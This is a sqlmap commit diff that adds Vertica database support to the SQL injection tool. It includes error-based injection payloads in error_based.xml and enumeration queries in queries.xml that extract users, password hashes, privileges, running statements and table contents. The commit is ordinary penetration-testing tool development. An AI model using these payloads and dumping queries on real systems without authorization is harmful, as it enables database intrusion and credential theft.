Skip to content

Commit 5ab2dfd

Browse files
committed
Adding support for Vertica
1 parent f0f1cf1 commit 5ab2dfd

File tree

23 files changed

+421
-19
lines changed

23 files changed

+421
-19
lines changed

data/xml/errors.xml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -187,4 +187,13 @@
187187
<error regexp="org\.apache\.derby"/>
188188
<error regexp="ERROR 42X01"/>
189189
</dbms>
190+
191+
<!-- Vertica -->
192+
<dbms value="Vertica">
193+
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
194+
<error regexp="/vertica/Parser/scan"/>
195+
<error regexp="com\.vertica\.jdbc"/>
196+
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
197+
<error regexp="com\.vertica\.dsi\.dataengine"/>
198+
</dbms>
190199
</root>

data/xml/payloads/error_based.xml

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -742,6 +742,44 @@
742742
<dbms>MonetDB</dbms>
743743
</details>
744744
</test>
745+
746+
<test>
747+
<title>Vertica AND error-based - WHERE or HAVING clause</title>
748+
<stype>2</stype>
749+
<level>3</level>
750+
<risk>1</risk>
751+
<clause>1,8,9</clause>
752+
<where>1</where>
753+
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
754+
<request>
755+
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
756+
</request>
757+
<response>
758+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
759+
</response>
760+
<details>
761+
<dbms>Vertica</dbms>
762+
</details>
763+
</test>
764+
765+
<test>
766+
<title>Vertica OR error-based - WHERE or HAVING clause</title>
767+
<stype>2</stype>
768+
<level>3</level>
769+
<risk>3</risk>
770+
<clause>1,8,9</clause>
771+
<where>2</where>
772+
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
773+
<request>
774+
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
775+
</request>
776+
<response>
777+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
778+
</response>
779+
<details>
780+
<dbms>Vertica</dbms>
781+
</details>
782+
</test>
745783
<!--
746784
TODO: if possible, add payload for SQLite, Microsoft Access,
747785
and SAP MaxDB - no known techniques at this time

data/xml/queries.xml

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1011,4 +1011,81 @@
10111011
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
10121012
</search_column>
10131013
</dbms>
1014+
1015+
<!-- Vertica -->
1016+
<dbms value="Vertica">
1017+
<cast query="CAST(%s AS CHARACTER(10000))"/>
1018+
<length query="LENGTH(%s)"/>
1019+
<isnull query="COALESCE(%s,' ')"/>
1020+
<delimiter query="||"/>
1021+
<limit query="OFFSET %d LIMIT %d"/>
1022+
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
1023+
<limitgroupstart query="1"/>
1024+
<limitgroupstop query="2"/>
1025+
<limitstring query=" OFFSET "/>
1026+
<order query="ORDER BY %s ASC"/>
1027+
<count query="COUNT(%s)"/>
1028+
<comment query="--"/>
1029+
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
1030+
<concatenate query="%s||%s"/>
1031+
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
1032+
<!-- NOTE: requires >=9.1.1 because of 'cannot cast type varchar to varbinary' -->
1033+
<hex query="TO_HEX((%s)::varbinary)"/>
1034+
<inference query="ASCII(SUBSTRING((%s)::varchar FROM %d FOR 1))>%d"/>
1035+
<banner query="VERSION()"/>
1036+
<current_user query="CURRENT_USER"/>
1037+
<current_db query="CURRENT_SCHEMA()"/>
1038+
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
1039+
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
1040+
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
1041+
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
1042+
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
1043+
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
1044+
<users>
1045+
<inband query="SELECT user_name FROM v_catalog.users"/>
1046+
<blind query="SELECT user_name FROM v_catalog.users OFFSET %d LIMIT 1" count="SELECT COUNT(user_name) FROM v_catalog.users"/>
1047+
</users>
1048+
<passwords>
1049+
<inband query="SELECT user_name,password FROM v_catalog.passwords" condition="user_name"/>
1050+
<blind query="SELECT password FROM v_catalog.passwords WHERE user_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(password) FROM v_catalog.passwords WHERE user_name='%s'"/>
1051+
</passwords>
1052+
<privileges>
1053+
<inband query="SELECT grantee,privileges_description FROM v_catalog.grants WHERE object_type!='PROCEDURE'" condition="grantee"/>
1054+
<!-- NOTE: Vertica does not cache DISTINCT queries (must use ORDER BY to have consistent results) -->
1055+
<blind query="SELECT DISTINCT(privileges_description) FROM v_catalog.grants WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(privileges_description)) FROM grants WHERE grantee='%s'"/>
1056+
</privileges>
1057+
<roles/>
1058+
<statements>
1059+
<inband query="SELECT current_statement FROM v_monitor.sessions"/>
1060+
<blind query="SELECT DISTINCT(current_statement) FROM v_monitor.sessions ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(current_statement)) FROM v_monitor.sessions"/>
1061+
</statements>
1062+
<dbs>
1063+
<inband query="SELECT schema_name FROM v_catalog.schemata"/>
1064+
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata"/>
1065+
</dbs>
1066+
<tables>
1067+
<inband query="SELECT schema_name,table_name FROM v_catalog.all_tables" condition="schema_name"/>
1068+
<blind query="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'"/>
1069+
</tables>
1070+
<columns>
1071+
<inband query="SELECT column_name,data_type FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
1072+
<blind query="SELECT column_name FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM v_catalog.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
1073+
</columns>
1074+
<dump_table>
1075+
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
1076+
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
1077+
</dump_table>
1078+
<search_db>
1079+
<inband query="SELECT schema_name FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
1080+
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata WHERE %s ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
1081+
</search_db>
1082+
<search_table>
1083+
<inband query="SELECT schema_name,table_name FROM v_catalog.all_tables WHERE %s" condition="table_name" condition2="schema_name"/>
1084+
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.all_tables WHERE %s ORDER BY 1" query2="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s'" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.all_tables WHERE %s" count2="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'" condition="table_name" condition2="schema_name"/>
1085+
</search_table>
1086+
<search_column>
1087+
<inband query="SELECT table_schema,table_name FROM v_catalog.columns WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
1088+
<blind query="SELECT DISTINCT(table_schema) FROM v_catalog.columns WHERE %s ORDER BY 1" query2="SELECT DISTINCT(table_name) FROM v_catalog.columns WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM v_catalog.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM v_catalog.columns WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
1089+
</search_column>
1090+
</dbms>
10141091
</root>

lib/controller/handler.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@
2626
from lib.core.settings import INFORMIX_ALIASES
2727
from lib.core.settings import MONETDB_ALIASES
2828
from lib.core.settings import DERBY_ALIASES
29+
from lib.core.settings import VERTICA_ALIASES
2930
from lib.utils.sqlalchemy import SQLAlchemy
3031

3132
from plugins.dbms.mssqlserver import MSSQLServerMap
@@ -58,6 +59,8 @@
5859
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
5960
from plugins.dbms.derby import DerbyMap
6061
from plugins.dbms.derby.connector import Connector as DerbyConn
62+
from plugins.dbms.vertica import VerticaMap
63+
from plugins.dbms.vertica.connector import Connector as VerticaConn
6164

6265
def setHandler():
6366
"""
@@ -81,6 +84,7 @@ def setHandler():
8184
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
8285
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
8386
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
87+
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
8488
]
8589

8690
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -656,7 +656,7 @@ def concatQuery(self, query, unpack=True):
656656
elif fieldsNoSelect:
657657
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
658658

659-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY):
659+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA):
660660
if fieldsExists:
661661
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
662662
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -945,7 +945,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
945945
fromFrom = limitedQuery[fromIndex + 1:]
946946
orderBy = None
947947

948-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
948+
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA):
949949
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
950950
limitedQuery += " %s" % limitStr
951951

lib/core/common.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4069,7 +4069,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
40694069

40704070
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
40714071
retVal = "`%s`" % retVal
4072-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB):
4072+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA):
40734073
retVal = "\"%s\"" % retVal
40744074
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
40754075
retVal = "\"%s\"" % retVal.upper()
@@ -4107,7 +4107,7 @@ def unsafeSQLIdentificatorNaming(name):
41074107
if isinstance(name, six.string_types):
41084108
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
41094109
retVal = name.replace("`", "")
4110-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB):
4110+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA):
41114111
retVal = name.replace("\"", "")
41124112
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
41134113
retVal = name.replace("\"", "").upper()

lib/core/dicts.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@
2626
from lib.core.settings import PGSQL_ALIASES
2727
from lib.core.settings import SQLITE_ALIASES
2828
from lib.core.settings import SYBASE_ALIASES
29+
from lib.core.settings import VERTICA_ALIASES
2930

3031
FIREBIRD_TYPES = {
3132
261: "BLOB",
@@ -202,6 +203,7 @@
202203
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
203204
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
204205
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
206+
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
205207
}
206208

207209
FROM_DUMMY_TABLE = {

lib/core/dump.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -166,7 +166,7 @@ def currentUser(self, data):
166166
def currentDb(self, data):
167167
if Backend.isDbms(DBMS.MAXDB):
168168
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
169-
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
169+
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
170170
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
171171
else:
172172
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)

lib/core/enums.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ class DBMS(object):
4747
INFORMIX = "Informix"
4848
MONETDB = "MonetDB"
4949
DERBY = "Apache Derby"
50+
VERTICA = "Vertica"
5051

5152
class DBMS_DIRECTORY_NAME(object):
5253
ACCESS = "access"
@@ -64,6 +65,7 @@ class DBMS_DIRECTORY_NAME(object):
6465
INFORMIX = "informix"
6566
MONETDB = "monetdb"
6667
DERBY = "derby"
68+
VERTICA = "vertica"
6769

6870
class FORK(object):
6971
MARIADB = "MariaDB"

lib/core/settings.py

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.1.32"
21+
VERSION = "1.4.1.33"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -260,6 +260,7 @@
260260
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
261261
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
262262
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
263+
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
263264

264265
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
265266
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql")
@@ -276,19 +277,22 @@
276277
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
277278
MONETDB_ALIASES = ("monet", "monetdb",)
278279
DERBY_ALIASES = ("derby", "apache derby",)
280+
VERTICA_ALIASES = ("vertica",)
279281

280282
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
281283

282-
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES
284+
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES
283285
SUPPORTED_OS = ("linux", "windows")
284286

285-
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES))
287+
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES))
286288

287289
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
288290
REFERER_ALIASES = ("ref", "referer", "referrer")
289291
HOST_ALIASES = ("host",)
290292

293+
# Default schemas to use (when unable to enumerate)
291294
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
295+
VERTICA_DEFAULT_SCHEMA = "public"
292296

293297
# Names that can't be used to name files on Windows OS
294298
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")

0 commit comments

Comments
 (0)